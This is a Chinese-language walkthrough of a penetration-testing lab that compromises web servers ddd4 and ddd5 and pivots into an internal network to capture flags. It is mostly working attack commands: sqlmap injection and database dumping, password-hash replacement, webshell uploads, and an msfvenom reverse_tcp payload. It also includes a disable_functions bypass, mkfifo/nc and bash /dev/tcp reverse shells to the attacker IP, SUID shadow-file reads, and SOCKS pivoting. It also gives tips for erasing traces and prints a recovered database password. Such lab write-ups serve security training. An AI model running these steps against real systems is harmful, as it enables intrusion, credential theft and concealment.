注意,web机每关机开机一次都要重新启动php5.3
kali机中命令(在10的网域内寻找)
nmap -sn 192.168.10.0/24
netdiscover -i eth0 -r 192.168.10.0/24
masscan -p 1-65535 192.168.10.103 --rate=1000
nmap -sC -p 8888,3306,888,21,80 -A 192.168.10.103 -oA ddd4-port
这里用作网站目录扫描
gobuster dir -u http://www.ddd4.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x 'php,zip,html,rar' -o ddd4.log --wildcard | grep -v 10430 | grep -v "Size: 49" | grep -v "Size: 10280" | grep -v "Size: 11807"
操作界面
whatweb扫描基本信息
确认网站用的是稻壳模板后网上下载稻壳模板,了解其构造和做代码审计,为之后渗透做准备
这里下载模板后在本地机搭建稻壳网站看看
安装源码完成后网站页面
sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword
–batch ,sqlmap注入中不会询问输入[Y/N] 全部默认Y
–p 后加指定测试的参数
–tamper(干预/篡改)后加 sqlmap 自带的编译脚本,用来转译编码敏感字符,绕过waf等,操作例子的 chardoubleencode.py
脚 本是对注入的字符进行两次 hash 加密
提示:如果是这种情况
可删除后重新注入
获得结果如下
sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py --dbs --batch
查出了information_schema,test,www_ddd4_com
三个库名
查询www_ddd4_com
库中的所有表
sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py -D www_ddd4_com --tables
操作界面
sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword -D www_ddd4_com -T doc_user --dump
–dump 转储查询到的所有信息,通常是拖库操作(违法)慎用
查询到关键信息
用户:admin
密文:9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c
//这里查询出的密文是密码明文经过某种加密后存储到数据库里的,一般不能直接使用
在解密平台尝试后密文无法解密,大概率是网站的程序自加密
翻回之前的网站源码审计,找到关于加密相关的代码
分析关于加密的代码后发现密文不可逆
对策:利用改加密程序生成密文替换原来的。需要连接网站数据库并且有数据库权限。
尝试sqlmap注入获取数据库密码
sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py -passwrods
当前权限不够无法操作
利用mysql客户端读取文件漏洞通过工具Rogue-MySql-Server
得到数据库账密
http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.31.227&action=chkdb
uname和pwd内容任意,dbhost为kali机ip
反弹得到结果
把获取的数据存储到mysql.log
得到mysql数据库配置的账密
账号:www_ddd4_com
密码:x4ix6ZrM7b8nFYHn
localhost
获取用户名
sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql -v 1 --tamper chardoubleencode.py -current-user
www_ddd4_com@localhost
mysql -h192.168.31.93 -uwww_ddd4_com -px4ix6ZrM7b8nFYHn
192.168.31.93为web服务器ip
可以找到存储密文的位置,需要把密文替换即可登录
本地稻壳模板代码审计,找到稻壳的加密程序,并且自己将已知明文加密
找到加密部分代码
将其取出,并稍加修改(下图添加的14,15行)
BP抓包得到加密的字符串
得到明文’‘admin“经稻壳加密程序后的密文
“33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0”
登录mysql替换密文
update doc_user set pwd='33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0' where id=1;
后台管理权限上号,芜湖起飞
在网站编辑里写入一句话
这里是在网站的www.ddd4.com/index.php 栏下写入的一句话,所以菜刀
上菜刀
尝试通过菜刀虚拟控制台执行命令,权限不够
生成载荷
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.31.227 LPORT=13777 -f elf >FTshell
LHOST为 kali 机 IP,elf为一种文件格式,这里的生成文件命名FTshell
菜刀上传
只不过现在文件chmod权限不够,无法进行更多操作,之后需要提权
先布置msf监听端口(命令可以批量操作)
use multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST kali机IP
set lport 13777
exploit
网站执行反弹命令 //这里用到待会儿的 bypass_disablefunc
工具
http://www.ddd4.com/bypass_disablefunc.php?cmd=./Fshell
&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
不过现在上传的文件马chmod权限不够(0666)无法进行有效操作,这里就需要提权
这里的提权是给上传的文件提权,最终目的是使得文件为777权限(被任意用户个人,群组等可以任意读写操作)然后可以执行文件反弹shell会话到msf,注意,这里反弹回来后建立的会话权限也只是普通的用户权限
关于chmod权限说明https://blog.csdn.net/u013197629/article/details/73608613
通过菜刀上传工具bypass_disablefunc
执行cmd命令,最大的缺点是跳转特别特别慢,这里作为提权使用。
在www.ddd4.com/phpinfo.php中看disable_functions参数
disable_functions:过滤的php危险命令参数,详解https://blog.csdn.net/qq_20757489/article/details/86506159
工具 bypass_disablefunc
的 putenv
同样有执行系统权限的功能,在这里的php里没有被过滤
工具的php文件和so库上传过去
php工具里的说明代码
bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/
bypass_disablefunc_x64.so
改成
bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/
bypass_disablefunc_x64.so
这便成为了操作代码,加粗为使用部分,工具缺点是使用时网页跳转比较慢。
举个栗子
查看网卡信息ifconfig,这里不同浏览器可能效果不一样,我这里edge不可以,火狐和谷歌浏览器都可以回显
http://www.ddd4.com/bypass_disablefunc.php?cmd=ifconfig&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
网站页面BP抓包后编码(Ctrl+U)
www.ddd4.com/bypass_disablefunc.php?cmd=chmod+777+FTshell&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
文件成功从0666提权到0777
执行反弹命令建立会话
/bypass_disablefunc.php?cmd=./FTshell
&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so
getuid可以看到是1001权限,这里的提权是给上传的文件提权,最终目的是使得文件为777权限(被任意用户个人,群组等可以任意读写操作)然后可以执行文件反弹shell会话到msf,注意,这里反弹回来后建立的会话权限也只是普通的用户权限
不过msf连接的shell会在按左右键或者汉字时会有乱码
需要去除乱码
kali建立新窗口用netcat监听
nc -lvnp 8888
msf里用shell反弹监听建立会话 下面的ip为kali本地机
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.16 8889 >/tmp/f
成功反弹nc会话
似乎是只有旧版kali(2020版本能用这个方法),新版kali网上有不少其他方法去乱码
连接建立nc会话后,在nc会话中操作
python -c 'import pty;pty.spawn("/bin/bash")' //会话里设置python shell
crtl +z //把nc会话先暂停放到后台
stty raw -echo
fg //重新调用nc会话
消除乱码
作用:来收集系统的信息 如 特殊文件的权限 suid 文件信息 网络端口信息,建立 WEB 服务器
文件所在路径下使用
python -m SimpleHTTPServer 80
操作界面
192.168.31.16为kali机ip
在nc会话交互界面
cd /tmp //到tmp目录下
wget http://192.168.31.16/LinEnum.sh //下载下来.sh文件到kali机
sh LinEnum.sh > LX.txt //执行文件并把结果输出保存到新建的txt里
操作界面
操作指令日志
可以找到敏感信息(账密)
权限敏感文件
有效信息
收集信息
### SOFTWARE #############################################
[-] Sudo version:
Sudo version 1.8.16
[-] MYSQL version:
mysql Ver 14.14 Distrib 5.6.47, for Linux (x86_64) using EditLine wrapper
[-] Apache version:
Server version: Apache/2.4.43 (Unix)
Server built: Apr 10 2020 02:21:46
作用:检测是否存在提权 cve 漏洞
操作界面
作用:检测权限信息
操作界面
列出来常用的suid命令
[+] Related Shell Escape Sequences...
vi--> :!bash
vi--> :set shell=/bin/bash:shell
vi--> :!bash
vi--> :set shell=/bin/bash:shell
awk--> awk 'BEGIN {system("/bin/bash")}'
find--> find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
perl--> perl -e 'exec "/bin/bash";'
查找suid文件命令
find / -type f -perm -u=s 2>/dev/null
提权原理:(6条消息) Linux下用SUID提权_谢公子的博客-CSDN博客_suid提权
比如这里的shadow只有root用户有权限读取和操作,普通用户是作Permission denied(权限被拒绝)
但是可以用suid提权进行操作
touch test
find test -exec cat /etc/shadow \;
也可以用root权限执行其他命令
鲜明对比
利用菜刀获得目标机的宝塔网址以及账密
结合netcat提权
利用https://www.moonsec.com/archives/647的资料
bash -i >& /dev/tcp/192.168.31.16/8881 0>&1
反弹回shell,这里的会话是管理员权限,这点很重要
执行反弹后可以删除任务,避免留下痕迹
msf原权限 1001普通用户权限
退出msf当前会话,在宝塔提权的操作界面找到msf的反弹载荷文件的位置,并且运行
msf开启监听,成功建立root权限会话
root权限可以执行查看隐私文件操作,比如shadow和hosts等
发现有绑定的ddd5网址靶机,这里我们kali机也绑定上这个hosts,准备渗透
注意:后来有ddd5的靶机B的IP从144变成169了,所以靶机A和kali机关于www.ddd5.com的hosts也相应改为10.10.10.169
run get_local_subnets _subnets //查看路由和网段
run autoroute -s 10.10.10.0/24 //添加路由
run autoroute -p //查看路由
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options
msf5 auxiliary(server/socks4a) > set SRVPORT 2333
msf5 auxiliary(server/socks4a) > exploit
这里端口设为2333
现在已经设置好内网代理
不过sock4代理比较慢
开启端口隧道代理来访问内网
vim /etc/proxychains.conf
sock4 kali本机IP 之前的端口
nmap扫一下靶机B端口
proxychains firefox www.ddd5.com //这里proxychains3也可以
成功内网代理跨网域
192.168.31.16的kali机-------代理访问------->10.10.10.169的网站
不过操作时不太稳定
Index of /distribution (earthwormcentral.org)
使用文章:通过SOCKS代理渗透整个内网_云野安全-CSDN博客
实战经验:https://www.cnblogs.com/kuangke/p/11133693.html
=======
在宝塔提权的root用户权限的tmp文件夹下载LinEnum80端口传输的SOCKS5压缩包
wget http://192.168.31.16/ssocks-0.0.14.tar.gz
tar -zxvf ssocks-0.0.14.tar.gz
tar -zxvf ssocks-0.0.14.tar.gz
cd ssocks-0.0.14
./configure && make
cd src
注:sock4和sock5的区别
1、socks4和socks5都于socks协议,只是由于所支持的具体应用不同而存在差异。
2、socks4代理只支持TCP应用,而socks5代理则可以支持TCP和属UDP两种应用。
3、socks5代理还支持各种身份验证机制,服务器端域名解析等,而socks4代理没有,所以通常对外开放的socks代理都是socks4代理,因此,UDP应用通常都不能被支持。也就是说,socks4能干的socks5都可以干,反过来就不行了。
注意:这里的ssocks-0.0.14.tar.gz压缩文件在我的两台kali机上解压后都不能正常编译,目前推测是gcc版本问题(可能版本太新了),我是将这个压缩包放在项目五乌版图服务器上可以正常解压后编译,然后把编译好的文件拿来用
tar -zxvf ssocks-0.0.14.tar.gz //解压ssocks5压缩包
cd ssocks-0.0.14 //进入解压后的文件
./configure && make //使用其中的configure编译生成执行文件
cd src
编译后进入src文件
这里要用到编译出来的rcsocks
执行命令①
./rcsocks -l 2233 -p 1080 -vv
在本地为192.168.10.10 IP的kali机开启2233端口,把所有2233端口收到的信息都转发到自己的1080端口
执行命令②
把刚才的sock5的压缩包文件用连上有root权限的nc的shell传到web服务器靶机后基操解压后编译(可以传已经编译好的)
/rssocks -vv -s kali机IP:1080
这里是把内网跳板机 响应
的数据信号都《=====》到kali机IP的1080端口上
双方都执行监听后这个端口转发就做好了
③在kali机的 /etc/proxychains.conf 文件里把之前什么socks4注释掉,然后添加socks5 kali机IP
还有个很有意思的python临时搭建http服务(只要是python3后的版本都可以)
然后就万事俱备,可以用192.168.10.xx(路由器分配的LAN个体IP)的kali机子访问10.10.10.XXX(内网段IP)的内网服务器了
这里访问内网的www.ddd5.com网址前要先在kali机本地的hosts文件里绑定 www.ddd5.com 内网服务器IP
经过测试socks5的代理非常稳定好用(如果出现超时异常就是内网服务器的时间与你本地shell的机子时间不一样,改成近似时间就行了)
也可以代理来用nmap扫描内网服务器的端口
也可以不用proxychains,③直接在浏览器设置socks5代理,设置好后照样可以端口转发访问内网服务器
正常访问
③本地物理机(LAN分配192.168.10.xxx)设置后正常访问内网服务器(10.10.10.169)(要访问ddd5网站的话前提也是要在本地hosts绑定网址)
进入ddd5.com后台admin 123456登录后模板上传准备好的 xxxxx.zip 压缩包(是加入各种大小马的网站模板),上传压缩包后会自动解压
里面的大小马
cmd
http://www.ddd5.com/content/templates/xxxx/1.php?cmd=phpinfo();
大马
http://www.ddd5.com/content/templates/xxxxx/xxxx.php
http://www.ddd5.com/content/templates/xxxxxx/shell.php?cmd=ls
比如这里执行小马
蚁剑的代理设置(这里是因为之前上传的网站模板有一句话木马,密码为cmd,执行代理后可以供菜刀蚁剑连接)蚁剑添加shell时网站url要完整,不要忘http://
菜刀或者浏览器的代理还可以是用小彩帽,配置小彩帽代理后,把菜刀和浏览器的exe文件移动过来,在小彩帽内打开就能代理执行
彩帽代理后菜刀可以连接内网的ddd5网站(这里是因为之前上传的网站模板有一句话木马,密码为cmd,供菜刀蚁剑连接)
执行代理访问内网服务器
发现8080端口线索,但未知账密不能登录
但可以推测有phpmyadmin
8080端口下的phpmyadmin可以用root和上上面的默认密码登录
登录后找到WDCP用户的账密
加密的密文我这里用cmd5解密出密码
这里也可以“推测”出了密码(有点强行)
然后可以登录WDCP(如果登录超时或者不稳定就是内网服务器的时间与你主机时间不同步,把这两时间改的相近就可以正常登录了)
这里本身是可以和之前宝塔一样直接反弹nc的会话就是root权限,但是这里的命令执行不允许操作这种反弹shell命令(会警告并记录日志,随手你记录完我就清也没啥用)但拿到了后台权限搞到后面会话的方式多的是,这里我们选择ssh的会话链接
生成和下载密钥
下载ssh登录密钥文件后放到kali里更改到chmod 600的权限(试了如果提权到777的话会出现下图报错,密钥文件不能使用)
权限更改为600时反而能够正常使用
注意,需要proxychains代理下语句
proxychains ssh [email protected] -i sshkey_wdcp
正常连接会话,并且为root权限
用ssh文件远控shell后拿到第一个(这个象征拿到内网服务器的最高权限)
用之前菜刀上传文件然后提权(单纯的文件提权)的反弹shell,连接上的msf获取第二个flag
这里要换到host123用户,然后拿flag (这个象征拥有web服务器的较高权限)
第三个flag是nc拿的,这个是当时拿到宝塔后台权限后在宝塔设定给计划任务的反弹shell,反弹过来是root权限(这个象征你完全拿到web服务器的最高权限)